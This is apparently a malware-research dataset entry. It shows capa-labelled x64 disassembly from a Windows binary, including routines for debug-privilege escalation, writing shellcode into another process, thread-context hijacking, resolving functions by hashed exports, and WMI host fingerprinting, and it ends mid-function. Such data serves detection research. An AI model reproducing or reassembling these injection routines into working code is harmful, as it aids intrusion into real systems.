joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140022750
Capabilities:
Get thread local storage value

Disassembly:
mov r11, rsp
push rsi
push rdi
push r14
sub rsp, 0x90
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x20], rbp
movaps xmmword [r11 - 0x28], xmm6
movaps xmmword [rsp + 0x70], xmm7
movaps xmmword [r11 - 0x48], xmm8
movaps xmmword [r11 - 0x58], xmm9
mov rbx, rcx
mov rax, qword [rcx + 0x28]
mov r8, qword [rax + 0x18]
test r8, r8
je 0x1400227b9
lea rax, [0x140022c20]
mov qword [r11 - 0x78], rax
mov qword [r11 - 0x70], rdx
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [r11 - 0x78]
call r8
jmp 0x140022891
mov rdi, qword [rdx + 8]
movups xmm6, xmmword [rdx + 0x10]
movsd xmm7, qword [rdx + 0x20]
mov esi, dword [rdx + 0x28]
mov rbp, qword [rdx + 0x30]
movups xmm8, xmmword [rdx + 0x38]
movsd xmm9, qword [rdx + 0x48]
mov r14, qword [rdx + 0x50]
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x30], rax
mov ecx, dword [0x1400f8480]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140022800
mov rdx, qword [rax + 8]
jmp 0x140022802
xor edx, edx
mov r8d, 0x68
call fcn.140020eb0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0
test rax, rax
je 0x14002284d
mov qword [rax + 0x10], rdi
movups xmmword [rax + 0x18], xmm6
movsd qword [rax + 0x28], xmm7
mov dword [rax + 0x30], esi
mov qword [rax + 0x38], rbp
movups xmmword [rax + 0x40], xmm8
movsd qword [rax + 0x50], xmm9
mov qword [rax + 0x58], r14
lea rcx, [0x140022d50]
mov qword [rax], rcx
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x30]
call fcn.1400229f0
nop
mov rax, qword [rbx + 0x28]
lea rdx, [rsp + 0xc0]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
nop
mov rax, qword [rsp + 0xc0]
test rax, rax
je 0x140022891
xor edx, edx
mov rcx, rax
call qword [rax]
nop
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [rsp + 0x70]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x1400229f0
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x10], 0
mov rbx, rcx
je 0x140022a0c
mov qword [rcx + 0x10], 0
mov rdi, qword [rcx + 8]
test rdi, rdi
je 0x140022a58
mov ecx, dword [0x1400f8480]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140022a48
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x140022a48
mov ecx, 4
mov eax, ecx
cmp qword [rdx + rax*8], 0
je 0x140022a63
inc ecx
inc rax
cmp rax, 6
jl 0x140022a36
mov rcx, rdi
call fcn.14002a780
mov qword [rbx + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rdi + 0x68]
mov byte [rdi], al
movsxd rax, ecx
mov qword [rdx + rax*8], rdi
mov qword [rbx + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140022a90
Capabilities:
Get thread local storage value

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x40], rbx
mov rdi, rcx
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x140022ad9
lea rbx, [rax + 0x38]
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x140022ad1
mov rax, qword [rcx]
cmp rcx, rbx
setne dl
call qword [rax + 0x20]
mov qword [rbx + 0x38], 0
mov qword [rdi + 0x10], 0
mov rbx, qword [rdi + 8]
test rbx, rbx
je 0x140022b39
mov ecx, dword [0x1400f8480]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140022b29
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x140022b29
mov ecx, 4
mov eax, ecx
cmp qword [rdx + rax*8], 0
je 0x140022b17
inc ecx
inc rax
cmp rax, 6
jl 0x140022b03
jmp 0x140022b29
movzx eax, byte [rbx + 0xa0]
mov byte [rbx], al
movsxd rax, ecx
mov qword [rdx + rax*8], rbx
jmp 0x140022b31
mov rcx, rbx
call fcn.14002a780
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x140027c50
Capabilities:
Listen for remote procedure calls

Disassembly:
push rbx
sub rsp, 0x50
mov r8, rcx
lea rdx, str.pipe_
lea rcx, [rsp + 0x30]
call fcn.14000e020
cmp qword [rsp + 0x48], 0x10
lea r8, [rsp + 0x30]
mov edx, 0x4d2
lea rcx, str.ncacn_np
cmovae r8, qword [rsp + 0x30]
xor r9d, r9d
call qword [sym.imp.RPCRT4.dll_RpcServerUseProtseqEpA]
test eax, eax
je 0x140027c9b
cmp eax, 0x6cc
jne 0x140027ce4
lea rax, [fcn.140008010]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], rax
lea rcx, [0x1400c10c0]
xor r8d, r8d
mov dword [rsp + 0x20], 0x4d2
xor edx, edx
call qword [sym.imp.RPCRT4.dll_RpcServerRegisterIfEx]
test eax, eax
jne 0x140027ce4
xor r8d, r8d
lea ecx, [rax + 1]
mov edx, 0x4d2
call qword [sym.imp.RPCRT4.dll_RpcServerListen]
test eax, eax
jne 0x140027ce4
mov bl, 1
jmp 0x140027ce6
xor bl, bl
mov rax, qword [rsp + 0x48]
cmp rax, 0x10
jb 0x140027d26
mov rcx, qword [rsp + 0x30]
inc rax
cmp rax, 0x1000
jb 0x140027d21
test cl, 0x1f
jne 0x140027d2f
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x140027d35
sub rcx, rax
cmp rcx, 8
jb 0x140027d3b
cmp rcx, 0x27
ja 0x140027d41
mov rcx, rax
call fcn.14002a780
movzx eax, bl
add rsp, 0x50
pop rbx
ret
call fcn.140078f8c
int3
call fcn.140078f8c
int3
call fcn.140078f8c
int3
call fcn.140078f8c
int3
Function at 0x140027f10
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov qword [r11 - 0x50], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov rdi, rdx
mov rbx, rcx
xor r14d, r14d
mov dword [r11 - 0x58], r14d
mov rax, qword gs:[0x58]
mov rbp, qword [rax]
mov esi, 0x13a8
mov eax, dword [rsi + rbp]
mov r12d, 0x20
test al, 1
jne 0x14002803e
or eax, 1
mov dword [rsi + rbp], eax
mov qword [r11 - 0x30], 0xf
mov qword [r11 - 0x38], r14
mov byte [rsp + 0x30], r14b
xor r8d, r8d
lea rdx, [0x1400c29b8]
lea rcx, [r11 - 0x48]
call fcn.140006800
nop
call fcn.140039e18
call fcn.140039e18
mov r10d, r12d
add r10, rbp
mov dword [r10 + 0x1384], 0xffffffff
mov dword [r10 + 4], eax
lea edx, [r14 + 1]
lea r8, [r10 + 8]
mov r9d, 0x26f
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [r8], eax
inc edx
lea r8, [r8 + 4]
sub r9, 1
jne 0x140027fc0
mov dword [r10], 0x270
mov rax, qword [rsp + 0x48]
cmp rax, 0x10
jb 0x14002803e
inc rax
mov rcx, qword [rsp + 0x30]
cmp rax, 0x1000
jb 0x140028038
test cl, 0x1f
je 0x14002800b
call fcn.140078f8c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14002801a
call fcn.140078f8c
int3
sub rcx, rax
cmp rcx, 8
jae 0x140028029
call fcn.140078f8c
int3
cmp rcx, 0x27
jbe 0x140028035
call fcn.140078f8c
int3
mov rcx, rax
call fcn.14002a780
nop
mov eax, dword [rsi + rbp]
mov r15d, 0x13b0
test al, 2
jne 0x14002805e
or eax, 2
mov dword [rsi + rbp], eax
mov qword [r15 + rbp], r14
mov qword [r15 + rbp + 8], 0x33
mov eax, dword [rsi + rbp]
test al, 4
jne 0x14002807d
or eax, 4
mov dword [rsi + rbp], eax
mov eax, 0x13c0
mov qword [rax + rbp], r14
mov qword [rax + rbp + 8], 9
mov qword [rbx + 0x18], SafeArrayLock
mov qword [rbx + 0x10], r14
cmp qword [rbx + 0x18], 0x10
jb 0x140028095
mov rax, qword [rbx]
jmp 0x140028098
mov rax, rbx
mov byte [rax], 0
mov dword [rsp + 0x20], 1
mov rdx, rdi
mov rcx, rbx
call fcn.14000e0f0
test edi, edi
je 0x1400280f1
mov esi, r15d
add rsi, rbp
mov eax, r12d
add rbp, rax
lea r14, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
nop word [rax + rax]
mov r9, qword [rsi + 8]
mov r8, qword [rsi]
mov rdx, rbp
call fcn.140028ad0
movzx edx, byte [rax + r14]
mov rcx, rbx
call fcn.140006440
sub edi, 1
jne 0x1400280d0
mov rax, rbx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140028c20
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [rcx]
mov r9d, 0x270
mov rbx, rcx
cmp eax, r9d
jne 0x140028c7b
lea r8, [rcx + 8]
nop word [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x140028c40
jmp 0x140028c87
cmp eax, 0x4e0
jb 0x140028c87
call fcn.140028cd0
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret

Function at 0x140028cd0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov r10, rcx
lea r9, [rcx + 0x9c4]
mov r11d, 0xe3
mov edx, dword [r9]
xor edx, dword [r9 + 4]
lea r9, [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 - 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x630]
xor ecx, edx
mov dword [r9 - 0x9c4], ecx
sub r11, 1
jne 0x140028ce0
lea r9, [r10 + 0xd50]
mov r11d, 0x18c
nop word [rax + rax]
mov edx, dword [r9]
xor edx, dword [r9 + 4]
lea r9, [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 - 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 - 0xd50]
xor ecx, edx
mov dword [r9 - 0x9c4], ecx
sub r11, 1
jne 0x140028d30
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
mov dword [r10], r11d
ret
Function at 0x14002a470
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
xor eax, eax
lea rcx, str.Advapi32.dll
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.OpenProcessToken
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0x28
mov rcx, rax
call rbx
test eax, eax
je 0x14002a4ea
lea r8, [rsp + 0x58]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14002a4f7
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov rax, qword [rsp + 0x58]
lea rdx, str.AdjustTokenPrivileges
mov rcx, rdi
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rcx
xor edx, edx
mov qword [rsp + 0x20], rcx
lea r9d, [rcx + 0x10]
mov rcx, qword [rsp + 0x50]
call rax
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x14002a560
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
mov rdi, rcx
mov dword [rbp - 0x30], 0x48c03148
lea rcx, [0x1400c35e0]
mov dword [rbp - 0x2c], 0x3148da31
mov dword [rbp - 0x28], 0x3e8b9c9
mov dword [rbp - 0x24], 0x1ba0000
mov dword [rbp - 0x20], 0x48000000
mov dword [rbp - 0x1c], 0x667788b8
mov dword [rbp - 0x18], 0x22334455
mov dword [rbp - 0x14], 0xebd0ff11
mov byte [rbp - 0x10], 0xdf
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1400c35f0]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
mov qword [rbp - 0x1b], rax
call fcn.14002bcc0
lea rdx, [0x1400c35f8]
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov rdx, rsi
mov rbx, rax
mov rcx, rdi
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
lea r8d, [r9 - 0x1f]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rbp + 0x30]
mov r9d, 0x21
lea r8, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call rbx
test eax, eax
jne 0x14002a63e
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
mov r9d, dword [rbp + 0x28]
lea rax, [rbp + 0x28]
mov r8d, 0x21
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rbx, qword [rsp + 0x80]
mov eax, 1
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002a680
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 0x20], rbx
push r14
sub rsp, 0x50
mov r14, rdx
call fcn.14002d260
mov ebx, eax
test eax, eax
je 0x14002a768
mov qword [rsp + 0x60], rbp
xor edx, edx
xor ebp, ebp
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x28], rbp
lea ecx, [rbp + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x1c
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
cmp dword [rsp + 0x3c], ebx
je 0x14002a6f5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x14002a6d7
mov esi, dword [rsp + 0x28]
jmp 0x14002a70c
mov r8d, dword [rsp + 0x38]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, dword [rsp + 0x38]
mov rbp, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, ebx
mov dword [r14 + 0x10], ebx
xor edx, edx
mov ecx, 0x100c38
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov qword [r14], rax
mov qword [r14 + 8], rbp
mov dword [r14 + 0x14], esi
call fcn.14002a470
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
test eax, eax
je 0x14002a757
mov rcx, rbx
call fcn.14002a560
mov eax, 1
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
xor eax, eax
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x14002c2b0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x450
mov rax, qword [0x1400f2120]
xor rax, rsp
mov qword [rsp + 0x440], rax
movsxd rax, dword [rcx + 0x3c]
xor ebx, ebx
add rax, rcx
mov qword [rsp + 0x30], rdx
mov r14, rcx
mov r9d, 0x8664
mov ecx, 0x88
lea r8d, [rbx + 0x78]
cmp word [rax + 4], r9w
cmove r8d, ecx
add r8, rax
mov eax, dword [r8]
lea rdi, [r14 + rax]
test eax, eax
je 0x14002c48e
cmp dword [r8 + 4], ebx
je 0x14002c48e
cmp dword [rdi + 0x1c], ebx
je 0x14002c48e
mov r13d, dword [rdi + 0x14]
test r13d, r13d
je 0x14002c48e
mov r12d, dword [rdi + 0x1c]
lea rax, [rdx - 1]
add r12, r14
mov rsi, rdx
mov qword [rsp + 0x28], r12
cmp rax, 0xfffe
jbe 0x14002c355
mov r13d, dword [rdi + 0x18]
mov esi, ebx
cmp dword [rdi + 0x24], ebx
je 0x14002c480
mov ebp, dword [rdi + 0x24]
mov r15d, dword [rdi + 0x20]
add rbp, r14
add r15, r14
mov dword [rsp + 0x20], ebx
test r13d, r13d
je 0x14002c48e
test rsi, rsi
je 0x14002c394
movzx eax, word [rbp]
mov ecx, dword [rdi + 0x10]
add rcx, rax
mov eax, ebx
cmp rsi, rcx
sete al
jmp 0x14002c457
mov ecx, dword [r15]
add rcx, r14
test rdx, rdx
je 0x14002c3ba
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x14002c45f
movzx eax, word [rbp]
lea rbx, [r12 + rax*4]
jmp 0x14002c48e
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r9d, dword [r15]
lea r11, [rsp + 0x40]
add r9, r14
mov dword [rsp + 0x24], eax
mov r8d, ebx
mov r10d, r8d
mov r12d, 8
mov edx, r10d
mov ecx, r10d
shr edx, 1
mov eax, edx
mov r10d, edx
xor eax, 0xedb88320
and cl, 1
cmovne r10d, eax
or eax, 0xffffffff
add r12d, eax
jne 0x14002c3db
mov dword [r11], r10d
inc r8d
add r11, 4
cmp r8d, 0xff
jbe 0x14002c3d2
mov r12, qword [rsp + 0x28]
test r9, r9
je 0x14002c44e
mov r8d, dword [rsp + 0x24]
test r8d, r8d
je 0x14002c44e
mov edx, eax
movzx ecx, byte [r9]
add r8d, eax
movzx eax, dl
inc r9
xor rcx, rax
mov eax, edx
shr eax, 8
mov edx, dword [rsp + rcx*4 + 0x40]
xor edx, eax
mov eax, 0xffffffff
test r8d, r8d
jne 0x14002c425
not edx
jmp 0x14002c450
mov edx, ebx
test edx, edx
jne 0x14002c45f
lea eax, [rdx + 1]
test eax, eax
jne 0x14002c3ad
mov eax, dword [rsp + 0x20]
add r15, 4
inc eax
add rbp, 2
mov dword [rsp + 0x20], eax
cmp eax, r13d
jae 0x14002c48e
mov rdx, qword [rsp + 0x30]
jmp 0x14002c378
test rsi, rsi
je 0x14002c48e
lea rbx, [r12 - 4]
lea rbx, [rbx + rsi*4]
mov rax, rbx
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140057d50
mov rbx, qword [rsp + 0x4a0]
add rsp, 0x450
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002c4bc
Capabilities:
Enumerate pe sections
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov r14, rcx
mov r15, rdx
mov ecx, 0x208
xor ebx, ebx
mov esi, 0x104
call fcn.14007970c
mov rdi, rax
test rax, rax
je 0x14002c544
mov r8d, esi
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebp, eax
test eax, eax
je 0x14002c529
cmp esi, eax
jne 0x14002c529
mov rcx, rdi
add esi, 0x104
call fcn.140079704
mov ecx, esi
add rcx, rcx
call fcn.14007970c
mov rdi, rax
test rax, rax
jne 0x14002c4f0
test rdi, rdi
je 0x14002c544
test ebp, ebp
jne 0x14002c559
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov esi, eax
call fcn.140079704
jmp 0x14002c549
mov esi, 8
test esi, esi
jne 0x14002c667
mov rdi, qword [rsp + 0x88]
mov rdx, r15
mov rcx, r14
call fcn.14002c2b0
mov r8, rax
test rax, rax
je 0x14002c65f
movsxd r10, dword [r14 + 0x3c]
sub r8d, r14d
add r10, r14
movzx eax, word [r10 + 0x14]
lea r9, [r10 + 0x18]
movzx r11d, word [r10 + 6]
add r9, rax
cmp r8d, dword [r9 + 0xc]
jb 0x14002c5ac
mov ecx, dword [r10 + 0x3c]
lea edx, [rcx - 1]
add edx, dword [r9 + 0x10]
lea eax, [rcx - 1]
not eax
and edx, eax
add edx, dword [r9 + 0xc]
cmp r8d, edx
jb 0x14002c5c1
add r9, 0x28
mov eax, 0xffff
add r11w, ax
je 0x14002c65f
jmp 0x14002c58b
mov esi, dword [r9 + 0x14]
sub esi, dword [r9 + 0xc]
add esi, r8d
je 0x14002c65f
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rdi
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x14002c65f
xor r9d, r9d
xor r8d, r8d
mov edx, esi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, esi
jne 0x14002c656
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rbx
mov r8d, 4
lea rdx, [rsp + 0x88]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002c656
cmp dword [rsp + 0x80], 4
jne 0x14002c656
mov ebx, dword [rsp + 0x88]
add rbx, r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140079704
mov rax, rbx
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002c67c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
lea rcx, [0x1400c3648]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x14002c73a
lea rdx, str.ZwAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400f83b8], rax
test rax, rax
jne 0x14002c6c4
mov ebx, 0x7f
jmp 0x14002c73a
lea rdx, str.ZwWriteVirtualMemory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400f83b0], rax
test rax, rax
je 0x14002c6bd
lea rdx, str.ZwReadVirtualMemory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400f83a8], rax
test rax, rax
je 0x14002c6bd
lea rdx, str.ZwGetContextThread
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400f8398], rax
test rax, rax
je 0x14002c6bd
lea rdx, str.ZwSetContextThread
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov qword [0x1400f83a0], rax
mov ecx, 0x7f
cmove ebx, ecx
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14002c748
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
and qword [r11 - 0x28], 0
mov r14, rcx
and dword [r11 + 0x20], 0
lea rcx, [0x1400c3648]
xor eax, eax
mov rsi, r8
mov dword [r11 + 0x24], eax
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x1400c37f0]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlNtStatusToDosError
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x48], 0x40
xor r9d, r9d
and dword [rsp + 0x40], 0
mov rbx, rax
mov dword [rsp + 0x38], 2
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov r8, rsi
lea rax, [rsp + 0x98]
mov rdx, rbp
mov qword [rsp + 0x28], rax
mov rcx, r14
and qword [rsp + 0x20], 0
call rdi
mov ecx, eax
call rbx
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x14002d060
Capabilities:
Reference wmi statements

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x70
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov rbx, rcx
mov dword [rsp + 0x20], 0
lea rdx, str.UUID
lea rcx, [rsp + 0x50]
call fcn.1400065f0
nop
lea rdx, str.SELECT__FROM_Win32_ComputerSystemProduct
lea rcx, [rsp + 0x30]
call fcn.1400065f0
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14002d720
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x30]
call fcn.140006530
nop
lea rcx, [rsp + 0x50]
call fcn.140006530
mov rax, rbx
add rsp, 0x70
pop rbx
ret

Function at 0x14002d0e0
Capabilities:
Reference wmi statements

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x70
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov rbx, rcx
mov dword [rsp + 0x20], 0
lea rdx, str.Domain
lea rcx, [rsp + 0x50]
call fcn.1400065f0
nop
lea rdx, [0x1400c39d0]
lea rcx, [rsp + 0x30]
call fcn.1400065f0
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14002d720
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x30]
call fcn.140006530
nop
lea rcx, [rsp + 0x50]
call fcn.140006530
mov rax, rbx
add rsp, 0x70
pop rbx
ret

Function at 0x14002d160
Capabilities:
Reference wmi statements

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x70
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov rbx, rcx
mov dword [rsp + 0x20], 0
lea rdx, [0x1400c3a1c]
lea rcx, [rsp + 0x50]
call fcn.1400065f0
nop
lea rdx, [0x1400c39f8]
lea rcx, [rsp + 0x30]
call fcn.1400065f0
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14002d720
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x30]
call fcn.140006530
nop
lea rcx, [rsp + 0x50]
call fcn.140006530
mov rax, rbx
add rsp, 0x70
pop rbx
ret

Function at 0x14002d1e0
Capabilities:
Reference wmi statements

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x70
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov rbx, rcx
mov dword [rsp + 0x20], 0
lea rdx, [0x1400c3a50]
lea rcx, [rsp + 0x50]
call fcn.1400065f0
nop
lea rdx, str.SELECT__FROM_Win32_OperatingSystem
lea rcx, [rsp + 0x30]
call fcn.1400065f0
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14002d720
